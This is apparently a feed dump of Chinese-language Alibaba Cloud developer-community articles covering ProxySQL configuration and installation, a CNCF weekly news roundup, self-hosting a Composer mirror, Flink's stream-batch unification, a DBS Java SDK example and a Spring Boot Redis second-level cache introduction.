               如果MySQL线程错过了restart_on_missing_heartbeats心跳,则proxysql将引发SIGABRT信号并重新启动。 默认值为10。 
    
                详情请见:https://github.com/sysown/proxysql/wiki/Watchdog。
    
        3.    execute_on_exit_failure(1.4.4中的新增内容):
    
               如果设置,ProxySQL父进程将在每次ProxySQL崩溃时执行定义的脚本。 建议使用此设置生成警报或记录事件。 
    
                请注意,在崩溃的情况下,proxysql能够在几毫秒内重新启动,因此其他监视工具可能无法检测到正常故障。
    
        4.    errorlog(2.0.0中的新增内容):
    
               如果设置,ProxySQL将使用定义的文件作为错误日志。 如果未传递此类变量,则errolog将位于datadir / proxysql.log中
    

    初始化启动过程(或--initial)

    在初始启动时,将从配置文件中填充内存和运行时配置。 此后,配置将保留在ProxySQL的嵌入式SQLite数据库中。 
    通过使用--initial标志运行proxysql可以强制重新发生初始配置,这会将SQLite数据库文件重置为其原始状态(即配置文件中定义的状态)并重命名现有的SQLite数据库文件 
    如果需要回滚(如果需要,检查已定义的数据目录中的旧文件)。
    

    重新加载启动(或--reload)

    如果使用--reload标志执行proxysql,它会尝试将配置文件中的配置与数据库文件的内容合并。 之后,ProxySQL将继续启动程序。
    
    如果配置文件和数据库文件的参数存在冲突,则无法保证ProxySQL将成功管理合并,用户应始终验证合并结果是否符合预期。
    

    核心配置表

    在运行时修改配置是通过ProxySQL的MySQL管理端口(默认为6032)完成的。 
    连接到它后,您将看到一个与MySQL兼容的接口,用于查询各种与ProxySQL相关的表:
      
    mysql> show tables;
    +-------------------+
    | tables            |
    +-------------------+
    | mysql_servers     |
    | mysql_users       |
    | mysql_query_rules |
    | global_variables  |
    | mysql_collations  |
    | debug_levels      |
    +-------------------+  ```
    
    
    
    
     
    
        每个这样的表都有明确的定义:
    
            mysql_servers:        包含要连接的ProxySQL的后端服务器列表
    
            mysql_users:           包含ProxySQL将用于向后端服务器进行身份验证的用户列表
    
            mysql_query_rules:    包含用于缓存,路由或重写发送到ProxySQL的SQL查询的规则
    
            global_variables:        包含在服务器初始配置期间定义的MySQL变量和管理变量
    
            debug_levels:             仅用于调试ProxySQL的手动构建
    
     
    **在不同层级间移动配置信息**
        为了将配置持久化到磁盘或将配置加载到运行时,可以使用一组不同的管理命令,这些命令可以通过管理界面执行。 
        一旦理解了三层中的每一层的使用方式,语义都应该清楚。 
        连同每个命令的说明,每个命令旁边都有一个编号选项。 该数字对应于下图中列出的箭头
        
     ![图片.png](https://ucc.alicdn.com/pic/developer-ecology/eee0b30319814f8da364451167480fa3.png)
    
    
        
    要重新配置MySQL用户,请执行以下命令之一:
     
    [1]    LOAD MYSQL USERS FROM MEMORY / LOAD MYSQL USERS TO RUNTIME
    
        将MySQL用户从MEMORY加载到RUNTIME数据结构,反之亦然
    
     
    
    [2]    SAVE MYSQL USERS TO MEMORY / SAVE MYSQL USERS FROM RUNTIME
    
        将MySQL用户从RUNTIME保存到MEMORY
    
     
    
    [3]    LOAD MYSQL USERS TO MEMORY / LOAD MYSQL USERS FROM DISK
    
        将持久化的MySQL用户从磁盘数据库加载到MEMORY
    
     
    
    [4]    SAVE MYSQL USERS FROM MEMORY / SAVE MYSQL USERS TO DISK
    
        将MySQL用户从MEMORY中保存到DISK
    
     
    
    [5]    LOAD MYSQL USERS FROM CONFIG
    
        从配置文件加载用户到MEMORY
    
        常用的命令参考:
    

    LOAD MYSQL USERS TO RUNTIME;
    SAVE MYSQL USERS TO DISK;

    LOAD MYSQL SERVERS TO RUNTIME;
    SAVE MYSQL SERVERS TO DISK;

    LOAD MYSQL QUERY RULES TO RUNTIME;
    SAVE MYSQL QUERY RULES TO DISK;

    LOAD MYSQL VARIABLES TO RUNTIME;
    SAVE MYSQL VARIABLES TO DISK;

    LOAD ADMIN VARIABLES TO RUNTIME;
    SAVE ADMIN VARIABLES TO DISK;

    注意:关键字MEMORY/RUNTIME 都支持缩写:
    MEM for MEMORY
    RUN for RUNTIME

     三、安装ProxySQL
    1.下载安装
    
       # wget  https://github.com/sysown/proxysql/releases/download/v1.4.9/proxysql-1.4.9-1-centos7.x86_64.rpm
    
       # rpm -ivh proxysql-1.4.9-1-centos7.x86_64.rpm 
    
    启动:
    
       # systemctl start proxysql.service
    
       # systemctl status proxysql.service
    
       ● proxysql.service - LSB: High Performance Advanced Proxy for MySQL
    
          Loaded: loaded (/etc/rc.d/init.d/proxysql; bad; vendor preset: disabled)
    
          Active: active (running) since Fri 2018-07-13 17:37:19 CST; 6s ago
    
            Docs: man:systemd-sysv-generator(8)
    
         Process: 3137 ExecStart=/etc/rc.d/init.d/proxysql start (code=exited, status=0/SUCCESS)
    
          CGroup: /system.slice/proxysql.service
    
                  ├─3141 proxysql -c /etc/proxysql.cnf -D /var/lib/proxysql
    
                  └─3142 proxysql -c /etc/proxysql.cnf -D /var/lib/proxysql
    
       Jul 13 17:37:19 db-node4 systemd[1]: Starting LSB: High Performance Advanced Proxy for MySQL...
    
       Jul 13 17:37:19 db-node4 proxysql[3137]: Starting ProxySQL: DONE!
    
       Jul 13 17:37:19 db-node4 systemd[1]: Started LSB: High Performance Advanced Proxy for MySQL.
    
    2.ProxySQL文件说明
    
    通过查看状态信息,可以知道数据目录在/var/lib/proxysql/,配置文件为:/etc/proxysql.cnf
    
       #  ll /var/lib//proxysql/
    
       total 392
    
       -rw------- 1 root root 122880 Jul 13 17:37 proxysql.db
    
       -rw------- 1 root root   3514 Jul 13 17:37 proxysql.log
    
       -rw-r--r-- 1 root root      5 Jul 13 17:37 proxysql.pid
    
       -rw------- 1 root root 110592 Jul 13 17:39 proxysql_stats.db
    
       # ll /etc/proxysql.cnf 
    
       -rw-r--r-- 1 root root 4517 May 30 18:31 /etc/proxysql.cnf
    
    3.ProxySQL进程说明
    
       # ps -ef|grep proxysql   
    
       root      3141     1  0 Jul13 ?        00:00:00 proxysql -c /etc/proxysql.cnf -D /var/lib/proxysql
    
       root      3142  3141  0 Jul13 ?        00:01:06 proxysql -c /etc/proxysql.cnf -D /var/lib/proxysql
    
    PID为3141的进程,是3142进程的父进程,父进程负责监控子进程,如果子进程挂了,那么父进程会把子进程启动。子进程负责处理正在的任务。
    4.ProxySQL接口说明
    
    ProxySQL是有管理接口和客户端接口,通过配置文件/etc/proxysql.cnf可以看到管理和客户端
    
    ProxySQL管理接口
    
       admin_variables=
    
       {
    
               admin_credentials="admin:admin"
    
       #       mysql_ifaces="127.0.0.1:6032;/tmp/proxysql_admin.sock"
    
               mysql_ifaces="0.0.0.0:6032"
    
       #       refresh_interval=2000
    
       #       debug=true
    
       }
    
    ProxySQL客户端操作MySQL接口
    
       mysql_variables=
    
       {
    
               threads=4
    
               max_connections=2048
    
               default_query_delay=0
    
               default_query_timeout=36000000
    
               have_compress=true
    
               poll_timeout=2000
    
       #       interfaces="0.0.0.0:6033;/tmp/proxysql.sock"
    
               interfaces="0.0.0.0:6033"
    
               default_schema="information_schema"
    
               stacksize=1048576
    
               server_version="5.5.30"
    
               connect_timeout_server=3000
    
       # make sure to configure monitor username and password
    
       # https://github.com/sysown/proxysql/wiki/Global-variables#mysql-monitor_username-mysql-monitor_password
    
               monitor_username="monitor"
    
               monitor_password="monitor"
    
               monitor_history=600000
    
               monitor_connect_interval=60000
    
               monitor_ping_interval=10000
    
               monitor_read_only_interval=1500
    
               monitor_read_only_timeout=500
    
               ping_interval_server_msec=120000
    
               ping_timeout_server=500
    
               commands_stats=true
    
               sessions_sort=true
    
               connect_retries_on_failure=10
    
       }
    
    ]]>
    Argo 项目加入 CNCF 孵化器 | 云原生生态周报 Vol. 45-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 4.9次条.png

    作者 | 陈洁、高相林、陈有坤、敖小剑

    业界要闻

    1. Argo 项目加入 CNCF 孵化器

    Argo 项目是一组 Kubernetes 原生工具,用于运行和管理 Kubernetes 上的作业和应用程序。目前由 Argo Workflows,Argo Events,Argo CD 和 Argo Rollouts 四个子项目组成。4 月 8 日,CNCF 技术监督委员会(Technical Oversight Committee,TOC)投票决定接受 Argo 作为孵化级别的托管项目。

    1. Argo CD v1.5 release

    Argo CD 发布 v1.5 版本,v1.5 在性能上进行了大幅度的优化,同时降低了对 APIServer 的压力;此外,v1.5 还对 Helm 3 charts 进行了支持。

    1. CloudNativeSummit 召开

    4 月 7 日,CloudNative 峰会在 youtube 上通过直播形式召开,峰会主要介绍了 CNCF 毕业项目(包括 Kubernetes,Prometheus,Envoy,Jaeger 等)的最新进展以及讨论未来在云原生技术上的一些新的动向。

    1. CNCF 发布疫情期间健康工作指导

    受 COVID-19 疫情影响,大多数人开启了居家办公模式,社交关系拉远,不管是对身体健康还是心理健康都有所影响。CNCF Well-Being Working Group 提供了一份疫情期间工作指导,包括一些常见问题的解答以及建议。

    1. COVID-19 : 延长对 Helm v2 的错误修复

    因 COVID-19,Helm 维护人员决定延长 Helm v2 的 Bug 修复服务时间。

    上游重要进展

    1. Even with build error, kubectl apply should apply all valid resources

    优化了 kubectl apply 的逻辑,尽可能多的 apply YAML 中的有效资源。

    1. kubelet add initial support for cgroupv2

    支持在 cgroup v2 unified mode 的机器上跑 kubelet。同时做了 cpu.shares(阈值为 2-262144 )到 cpu.weight(阈值为 1-10000)的转换。

    1. apiserver: add a metric exposing etcd database size 

    在 apiserver 端暴露了一个 etcd db size 使用量的 metric。

    1. Fix SelectorFromSet: add a ValidatedSelectorFromSet

    解决了一个没有对 Selector 结果进行校验的 Bug。目前使用 labels.SelectorFromSet,如果解析失败(例如 label value 误填了一个很长的值),会返回一个空的 Selector,从而导致所有的资源被筛选出。

    1. Reduce locking when calculating affinity scores

    调度器优化了计算亲和性分数时的性能,将循环内部的一个读写锁移到了 goroutine 最外层(优化了锁粒度)。

    1. apiextensions: wait for complete discovery endpoint

    使用 discovery endpoint 时会等待 CRD 同步状态完毕后再上报 readiness,解决了 discovery enxpoint 启动后会短暂不可用的问题。

    1. Add pod-level process stats to the summary API for out-of-pid eviction

    Kubelet 进行 out-of-pid eviction 时,目前仅利用 PodPriority 来进行排序,这个 KEP 计划加入更多进程级别数据(例如 Pod 内进程数)来进行 eviction。

    1. HPA scaling based on container resources

    支持基于容器级别资源来进行 autoscaling,原因是目前单个 Pod 中可能存在以下特殊场景:

    • 多个容器有不同的资源阈值;
    • 有多个容器,但是 autoscaling 只基于单个容器的资源阈值。
    1. knative 暴露 Downward API

    这个设计文档主要是考虑如何实现,列出了四种方法以及他们的优缺点,四种方法分别是直接使用 K8s 的定义,直接放到环境变量,使用 annotation描述,使用 Knative 自定义的描述。

    1. 移除 Galley 和 MCP Source

     Istio Networking 工作组的最新讨论结果,决定从 Istio1.6 之后移除 Galley:Galley 原有的职责验证(validation)和状态控制器(status controllers)已经合并到 Istiod,而 Galley 剩余的职责 MCP Source 将被直接删除。备注:MCP 功能还存在,Istiod 保留有 MCP sync 的角色。

    开源项目推荐

    1. BotKube

    BotKube 是一个监控 Kubernetes 集群并提供告警服务的应用,支持推送消息至 Slack,Mattermost 以及ElasticSearch。它通过规则过滤 Kubernetes 事件并进行定向报警。另外还提供对当前集群中的资源做一些固定的 YAML 检查。

    次条 图2.png

    1. PrometheusAlert

    PrometheusAlert 是一个运维告警中心消息转发系统,支持主流的监控系统 Prometheus , Zabbix , 日志系统 Graylog 和数据可视化系统 Grafana 发出的预警消息,支持钉钉等各种主流告警方式。

    1. YugabyteDB

    一个高性能、云原生的分布式 SQL 数据库,适用于云原生 OLTP 应用,具有较高的拓展性、容错性以及支持异地容灾。

    本周阅读推荐

    1. 《How to detect outdated Kubernetes APIs》

    随着 Kubernetes 版本迭代,有一部分 API 被逐渐 deprecate 。这篇文章介绍了如何用 Deprek8 ,一个基于 Open Policy Agent 规则的工具,对你仓库中的 YAML 是否引用 deprecated API 进行检测。

    1. 《quality of service and oom in Kubernetes》

    文章详细介绍了 Kubernetes 中的 QoS 机制,并介绍了 OOM 发生后,Linux Kill 进程的过程以及 Kubernetes 如何 evict Pod。

    1. 《A primer: Continuous Integration and Continuous Delivery (CI/CD) 》

    文章深入探讨了 CI/CD 的关键点,包括版本控制、开发分支与模式、发布流水线以及自动化测试等。

    1. 《Kubernetes 1.18 Feature Server-side Apply Beta2》

    介绍了 Kubernetes 1.18 中在 Server-side Apply 上新增的特性。1.18 中增加了 managedFields,所有 server-side apply 都被记录在 mangedFields 中,包括修改的字段、修改时间以及修改人。

    云原生网络研讨会邀您参加

    点击立即预约直播

    416直播海报.png

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    阿里云 Composer 镜像开源啦!3 步快速搭建自己的 Composer 的镜像!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 为了服务 PHP 开发者,2019年7月,阿里云提供了 Composer 镜像服务: https://developer.aliyun.com/composer,其秒级同步、快速访问的能力得到了广大 PHP 开发者的一致好评。
     
    目前,阿里云 Composer 日均使用 200W,为了不断优化和提升 Composer 镜像的能力,更好地服务 PHP 开发者,阿里云决定开源镜像同步系统!欢迎广大网友体验和参与开发,提交PR。一起让 PHP 社区更加繁荣!
     
    话不多说,接下来教大家如何搭建自己的 Composer 镜像。
     

    第 1 步

    1. 首先,你需要在阿里云上开通一个 OSS Bucket,用于存储镜像文件。建议选择和服务器最近的Endpoint。点击此处进入OSS控制台:https://oss.console.aliyun.com/overview
    2. 其次,你需要一个存储空间不低于 4G 的 Redis,用于存储任务和队列。
    3. 最后,确保安装了 Golang 环境,版本大于 1.11。

    第 2 步

    定制你的配置文件。下载阿里云 Composer 镜像代码,https://github.com/aliyun/packagist-mirror。在项目的根目录新建文件 packagist.yml,并写入如下配置:

    REDIS_ADDR: "地址:端口"
    REDIS_PASSWORD: "密码"
    REDIS_DB: 0
    OSS_ACCESS_KEY_ID: "OSS
    AccessKeyID"
    OSS_ACCESS_KEY_SECRET: "OSS AccessKeySecret"
    OSS_ENDPOINT: "OSS Endpoint,如:oss-cn-hangzhou.aliyuncs.com"
    OSS_BUCKET: "Bucket 名"
    GITHUB_TOKEN: "Github Token,如:6a023b828b17*****0ab5tgj6ddb3f0ccb3d30e0"
    DATA_URL: "同步源地址,如:[https://mirrors.aliyun.com/composer/"](https://mirrors.aliyun.com/composer/%22)
    MIRROR_URL: "镜像网址,如:[https://developer.aliyun.com/composer/"](https://developer.aliyun.com/composer/%22)
    DIST_URL: "ZIP包下载地址,如:[https://mirrors.aliyun.com/composer/dists/"](https://mirrors.aliyun.com/composer/dists/%22)
    PROVIDER_URL: "Provider 前缀” 

    主要配置详解

    OSS_ACCESS_KEY_ID

    可以向 Bucket 写入文件的 Access Key,为了云上资源的安全,强烈建议新建一个专用的子账号,账户的权限配置最小化。点击此处进入阿里云RAM控制台:https://ram.console.aliyun.com/users

    GITHUB_TOKEN

    大部分依赖包的zip文件被托管在 Github 上,系统需要从 Github 上读取到数据再上传到 OSS 上,如果没有 token 请求 Github 会被限制。点击此处生成新 token 地址:https://github.com/settings/tokens/new

    DATA_URL

    从哪里读取 Meta 数据,亚太地区建议使用阿里云源:https://mirrors.aliyun.com/composer/。亚太地区以外使用:https://repo.packagist.org/

    MIRROR_URL

    你的镜像地址,即你对外提供服务的地址,如果有配置 CDN ,建议是 CDN 的地址,系统会自动请求资源预热。

    PROVIDER_URL

    你的 providers 文件路径前缀,正常情况下根目录,也存在代理到子目录的配置。

    DIST_URL

    你的代码包下载地址前缀,会被写入根文件,Composer 客户端会根据这个地址下载 Dist 包。

    第 3 步

    编译并运行!

    go build
    ./packagist-mirror 

    注意:

    1. 推荐使用进程管理工具 supervisor 监听进程,配置文件位于 supervisor/supervisord.conf
    2. 如果对公网提供服务,推荐 OSS Bucket 启用 CDN 缓存功能,可以减少流量,控制成本。

    钉钉群

    钉钉群号:23178217

    php.jpg

    阿里巴巴开源镜像站 提供全面,高效和稳定的系统镜像、应用软件下载、域名解析和时间同步服务。”

    ]]>
    Flink 流批一体的实践与探索-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 自 Google Dataflow 模型被提出以来,流批一体就成为分布式计算引擎最为主流的发展趋势。流批一体意味着计算引擎同时具备流计算的低延迟和批计算的高吞吐高稳定性,提供统一编程接口开发两种场景的应用并保证它们的底层执行逻辑是一致的。对用户来说流批一体很大程度上减少了开发维护的成本,但同时这对计算引擎来说是一个很大的挑战。

    作为 Dataflow 模型的最早采用者之一,Apache Flink 在流批一体特性的完成度上在开源项目中是十分领先的。本文将基于社区资料和笔者的经验,介绍 Flink 目前(1.10)流批一体的现状以及未来的发展规划。

    概况

    相信不少读者都知道,Flink 遵循 Dataflow 模型的理念: 批处理是流处理的特例。不过出于批处理场景的执行效率、资源需求和复杂度各方面的考虑,在 Flink 设计之初流处理应用和批处理应用尽管底层都是流处理,但在编程 API 上是分开的。这允许 Flink 在执行层面仍沿用批处理的优化技术,并简化掉架构移除掉不需要的 watermark、checkpoint 等特性。

    1 640.png

    图1. Flink 经典架构

    在 Flink 架构上,负责物理执行环境的 Runtime 层是统一的流处理,上面分别有独立的 DataStream 和 DataSet 两个 API,两者基于不同的任务类型(Stream Task/Batch Task)和 UDF 接口(Transformation/Operator)。而更上层基于关系代数的 Table API 和 SQL API 虽然表面上是统一的,但实际上编程入口(Environment)是分开的,且内部将流批作业分别翻译到 DataStream API 和 DataSet API 的逻辑也是不一致的。

    因此,要实现真正的流批一体,Flink 需完成 Table/SQL API 的和 DataStream/DataSet API 两层的改造,将批处理完全移植到流处理之上,并且需要兼顾作为批处理立身之本的效率和稳定性。目前流批一体也是 Flink 长期目标中很重要一点,流批一体的完成将标志着 Flink 进入 2.x 的新大版本时代。

    流批一体完成以后理想的架构如下:

    2 640.png

    图2. Flink 未来架构

    其中 Planner 从 Table/SQL API 层独立出来变为可插拔的模块,而原先的 DataStream/DataSet 层则会简化为只有 DataStream(图 2 中的 StreamTransformation 和 Stream Operator 是 Stream DAG 的主要内容,分别表示 UDF 和执行 UDF 的算子),DataSet API 将被废弃。

    Table/SQL API 的改进

    Table/SQL API 的改造开始得比较早,截止 1.10 版本发布已经达到阶段性的流批一体目标。然而在 1.7 版本时,Table API 只是作为基于 DataStream/DataSet API 的 lib,并没有得到社区的重点关注。

    而当时阿里的 Blink 已经在 Table/SQL 上做了大量的优化,为了合并 Blink 的先进特性到 Flink,阿里的工程师推进社区重构了 Table 模块的架构[5]并将 Table/SQL API 提升为主要编程 API。

    自此 Table 层中负责将 SQL/Table API 翻译为 DataStream/DataSet API 的代码被抽象为可插拔的 Table Planner 模块,而 Blink 也将主要的特性以 Blink Planner 的形式贡献给社区,于是有了目前两个 Planner 共存的状态。

    3 640.png

    图3. Flink 目前过渡架构

    Flink 默认的 Legacy Planner 会将 SQL/Table 程序翻译为 DataStream 或 DataSet 程序,而新的 Blink Planner 则统一翻译为 DataStream 程序。也就是说通过 Blink Planner,Flink Table API 事实上已经实现了流批一体的计算。要了解 Blink Planner 是如何做到的,首先要对 Planner 的工作原理有一定的了解。

    Legacy Planner 对于用户逻辑的表示在 Flink 架构中不同层的演变过程如下:

    4 640.png

    图4. Legacy Planner 架构

    1. 用基于 Calcite 的 SQL parser 解析用户提交的 SQL,将不同类型的 SQL 解析为不同 Operation(比如 DDL 对应 CreateTableOperation,DSL 对应 QueryOperation),并将 AST 以关系代数 Calcite RelNode 的形式表示。
    2. 根据用户指定 TableEnvironment 的不同,分别使用不同的翻译途径,将逻辑关系代数节点 RelNode 翻译为 Stream 的 Transformation 或者 Batch 的 Operator Tree。
    3. 调用 DataStream 和 DataSet 对应环境的方法将 Transformation 或 Operator Tree 翻译为包含执行环境配置的作业表示,即 StreamGraph 或 Plan。
    4. 优化 StreamGraph 和 Plan,并包装为可序列化的 JobGraph。

    因为 Batch SQL 与 Streaming SQL 在大部分语法及语义上是一致的,不同点在于 Streaming SQL 另有拓展语法的来支持 Watermark、Time Characteristic 等流处理领域的特性,因此 SQL parser 是 Batch/Stream 共用的。关键点在于对于关系代数 RelNode 的翻译上。

    5 640.png

    图5. Legacy Planner RelNode

    Flink 基于 Calcite RelNode 拓展了自己的 FlinkRelNode,FlinkRelNode 有三个子类 FlinkLogicalRel、DataSetRel 和 DataStreamRel。FlinkLogicalRel 表示逻辑的关系代数节点,比如常见的 Map 函数对应的 FlinkLogicalRel 是 DataStreamCalc。DataSetRel 和 DataStreamRel 则分别表示 FlinkLogicalRel 在批处理和流处理下各自的物理执行计算。

    在 SQL 优化过程中,根据编程入口的不同 FlinkLogicalRel 被转化为 DataSetRel 或 DataStreamRel。BatchTableEnvironment 使用 BatchOptimizer 基于 Calcite Rule 的优化,而 StreamTableEnvironment 使用 StreamOptimizer 进行优化。比如 TableScan 这样一个 RelNode,在 Batch 环境下被翻译为 BatchTableSourceScan,在 Stream 环境下被翻译为 StreamTableSourceScan,而这两类物理关系代数节点将可以直接映射到 DataSet 的 Operator 或 DataStream 的 Transformation 上。

    上述的方式最大的问题在于 Calcite 的优化规则无法复用,比如对数据源进行过滤器下推的优化,那么需要给 DateSetRel 和 DataStreamRel 分别做一套,而且 DataSet 和 DataStream 层的算子也要分别进行相应的修改,开发维护成本很高,而这也是 Blink Planner 推动流批一体的主要动力。

    如上文所说,Blink Planner 做的最重要的一点就是废弃了 DataSet 相关的翻译途径,将 DateSetRel 也移植到 DataStream 之上,那么前提当然是 DataStream 要可以表达 DataSet 的语义。熟悉批处理的同学可能会有疑问: 批处理特有的排序等算子,在 DataStream 中是没有的,这将如何表达?

    事实上 Table Planner 广泛采用了动态代码生成,可以绕过 DataStream API 直接翻译至底层的 Transformation 和 StreamOperator 上,并不一定需要 DataStream 有现成的算子,因此使用 Blink Planner 的 Table API 与 DataStream API 的关系更多是并列的关系。这也是 FLIP-32[5] 所提到的解耦 Table API 和 DataStream/DataSet API 的意思:

    Decouple table programs from DataStream/DataSet API
    Allow table programs to be self-contained. No need for a Stream/ExecutionEnvironment entrypoint anymore. A table program definition is just API that reads and writes to catalog tables.

    Table 改造完成后整个 API 架构如下,这也是目前 1.10 版本已经实现的架构:

    6 640.png

    图6. Blink Planner 架构

    事实上,早前版本的 DataStream 对批作业的支持并不是太好,为了支持 Blink Planner 的 Batch on Stream,DataStream 方面也先做了不少的优化。这些优化是对于 Table API 是必要的,因此在 Blink Planner 合并到 Flink master 的前置工作,这将和 DataStream 还未完成的改进一起放在下文分析。

    另外虽然 Blink Planner 在计算上是流批一体的,但 Flink Table API 的 TableSource 和 TableSink 仍是流批分离的,这意味着目前绝大数批处理场景的基于 BatchTableSource/BatchTableSink 的 Table 无法很好地跟流批一体的计算合作,这将在 FLIP-95[9] 中处理。

    DataStream API 的改进

    在 DataStream API 方面,虽然目前的 DataStream API 已经可以支持有界数据流,但这个支持并不完整且效率上比起 DataSet API 仍有差距。为了实现完全的流批一体,Flink 社区准备在 DataStream 引入 BoundedStream 的概念来表示有界的数据流,完全从各种意义上代替 DataSet。

    BoundedStream 将是 DataStream 的特例,同样使用 Transformation 和 StreamOperator,且同时需要继承 DataSet 的批处理优化。这些优化可以分为 Task 线程模式、调度策略及容错和计算模型及算法这几部分。

    Task 线程模型

    批处理业务场景通常更重视高吞吐,出于这点考虑,Batch Task 是 pull-based 的,方便 Task 批量拉取数据。Task 启动后会主动通过 DataSet 的 Source API InputFormat 来读取外部数据源,每个 Task 同时只读取和处理一个 Split。

    相比之下,一般流处理业务场景则更注重延迟,因此 Stream Task 是 push-based 的。

    DataStream 的 Source API SourceFunction 会被独立的 Source Thread 执行,并一直读取外部数据,源源不断地将数据 push 给 Stream Task。每个 Source Thread 可以并发读取一个到多个 Split/Partition/Shard。

    7 640.png

    图7. Stream/Batch 线程模型(图来源 Flink Forward)

    为了解决 Task 线程模型上的差异,Flink 社区计划重构 Source API 来统一不同外部存储和业务场景下的 Task 线程模型。总体的思路是新增一套新的 Source API,可以支持多种线程模型,覆盖流批两种业务需求,具体可见 FLIP-27[6] 或笔者早前的一篇博客[7]。目前 FLIP-27 仍处于初步的开发阶段。

    调度策略及容错

    众所周知,批处理作业和流处理作业在 Task 调度上是很不同的。批处理作业的多个 Task 并不需要同时在线,可以根据依赖关系先调度一批 Task,等它们结束后再运行另一批。

    相反地,流作业的所有 Task 需要在作业启动的时候就全部被调度,然后才可以开始处理数据。前一种调度策略通常称为懒调度(Lazy Scheduling),后一种通常称为激进调度(Eager Scheduling)。为了实现流批一体,Flink 需要在 StreamGraph 中同时支持这两种调度模式,也就是说新增懒调度。

    随调度而来的问题还有容错,这并不难理解,因为 Task 出现错误后需要重新调度来恢复。而懒调度的一大特点是,Task 计算的中间结果需要保存在某个高可用的存储中,然后下个 Task 启动后才能去获取。

    而在 1.9 版本以前,Flink 并没有持久化中间结果。这就导致了如果该 TaskManager 崩溃,中间结果会丢失,整个作业需要从头读取数据或者从 checkpoint 来恢复。这对于实时流处理来说是很正常的,然而批处理作业并没有 checkpoint 这个概念,批处理通常依赖中间结果的持久化来减小需要重算的 Task 范围,因此 Flink 社区引入了可插拔的 Shuffle Service 来提供 Suffle 数据的持久化以支持细粒度的容错恢复,具体可见 FLIP-31[8]。

    计算模型及算法

    与 Table API 相似,同一种计算在流处理和批处理中的算法可能是不同的。典型的一个例子是 Join: 它在流处理中表现为两个流的元素的持续关联,任何一方的有新的输入都需要跟另外一方的全部元素进行关联操作,也就是最基础的 Nested-Loop Join;而在批处理中,Flink 可以将它优化为 Hash Join,即先读取一方的全部数据构建 Hash Table,再读取另外一方进行和 Hash Table 进行关联(见图8)。

    8 640.png

    图8. Join 批处理优化

    这种差异性本质是算子在数据集有界的情况下的优化。拓展来看,数据集是否有界是 Flink 在判断算子如何执行时的一种优化参数,这也印证了批处理是流处理的特例的理念。因此从编程接口上看,BoundedStream 作为 DataStream 的子类,基于输入的有界性可以提供如下优化:

    • 提供只可以应用于有界数据流的算子,比如 sort。
    • 对某些算子可以进行算法上的优化,比如 join。

    此外,批处理还有个特点是不需要在计算时输出中间结果,只要在结束时输出最终结果,这很大程度上避免了处理多个中间结果的复杂性。因此,BoundedStream 还会支持非增量(non-incremental)执行模式。这主要会作用于与 Time Charateritic 相关的算子:

    • Processing Time Timer 将被屏蔽。
    • Watermark 的提取算法不再生效,Watermark 直接从开始时的 -∞ 跳到结束时的 +∞。

    总 结

    基于批处理是流处理的特例的理念,用流处理表达批处理在语义上是完全可行的,而流批一体的难点在于批处理场景作为特殊场景的优化。对 Flink 而言,难点主要体现批处理作业在 Task 线程模型、调度策略和计算模型及算法的差异性上。目前 Flink 已经在偏声明式的 Table/SQL API 上实现了流批一体,而更底层偏过程式的 DataStream API 也将在 Flink 2.0 实现流批一体。

    Tips:原版文章及详细参考资料请见下方原文链接~

    原文链接:

    http://www.whitewood.me/2020/03/30/Flink-流批一体的实践与探索/

    作者介绍:

    林小铂,网易游戏高级开发工程师,负责游戏数据中心实时平台的开发及运维工作,目前专注于 Apache Flink 的开发及应用。探究问题本来就是一种乐趣。

    # 社区活动推荐 #

    1600*900.jpg

    普惠全球开发者,这一次,格外与众不同!首个 Apache 顶级项目在线会议 Flink Forward 全球直播中文精华版来啦,聚焦 Alibaba、Google、AWS、Uber、Netflix、新浪微博等海内外一线厂商,经典 Flink 应用场景,最新功能、未来规划一览无余。点击下方链接可了解更多大会详情:https://developer.aliyun.com/live/2594?spm=a2c6h.14242504.J_6074706160.2.3fca361f4cYyQx

    ]]>
    通过 Maven 依赖使用DBS JAVA SDK-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 61.jpeg
    镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

    DBS Java SDK主要包括两个核心包,aliyun-java-sdk-corealiyun-java-sdk-dbs, 其中aliyun-java-sdk-core的主要作用是为DBS提供Endpoint的自动路由,liyun-java-sdk-dbs 这个包包含了DBS所有功能的相关类。这2个包的版本号可以选取当前Maven仓库内的最新版本。

    一、Maven配置

    <dependency>
        <groupId>com.aliyun</groupId>
        <artifactId>aliyun-java-sdk-dbs</artifactId>
        <version>1.0.11</version>
    </dependency>
    <dependency>
        <groupId>com.aliyun</groupId>
        <artifactId>aliyun-java-sdk-core</artifactId>
        <version>4.4.0</version>
    </dependency>

    二、初始化Client

    //profile用来声明Access Key ID、Access Key Secret以及DBS实例的地域信息
    IClientProfile profile = DefaultProfile.getProfile("cn-hangzhou", "accsessKeyId", "accessSecret");
    //通过profile初始化一个client对象
    IAcsClient client = new DefaultAcsClient(profile);

    三、调用创建备份计划(CreateBackupPlan)的示例

    //声明一个request对象
    CreateBackupPlanRequest req = new CreateBackupPlanRequest();
    //以下为request的参数设置,例如CreateBackupPlan需要Region、DatabaseType、
    //InstanceClass、BackupMethod、Period、UsedTime这几个参数
    req.setRegion("cn-hangzhou");
    req.setDatabaseType("MySQL");
    req.setInstanceClass("small");
    req.setBackupMethod("logical");
    req.setPeriod("Month");
    req.setUsedTime(1);
    //通过client来获得对应request的响应
    CreateBackupPlanResponse response = client.getAcsResponse(req);
    //调用response中对应的get方法获得返回的参数值,如获取备份计划ID
    String backupPlanId=response.getBackupPlanId();

    阿里巴巴开源镜像站 提供全面,高效和稳定的系统镜像、应用软件下载、域名解析和时间同步服务。”

    ]]>
    Spring-Boot实战|分布式缓存-JPA的二级缓存-Redis-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Hibernate-Redis集成

    GitHub地址

    介绍

    Spring Boot 中,以JPAORM框架的微服务,默认是二级缓存是关闭的。因为在分布式集群架构下,本地的二级缓存必然会带来多个微服务实例缓存不一致问题。将二级缓存移交给第三方中间件可以很好的解决缓存不一致问题。并且Redis一款高性能的K-V存储中间件,在保证缓存一致性的同时,还能提供高性能,高可用的特性。本篇文章就是基于开源框架hibernate-redisGitHub地址,将redis集成到微服务中作为JPA中作为二级缓存存储中间件。
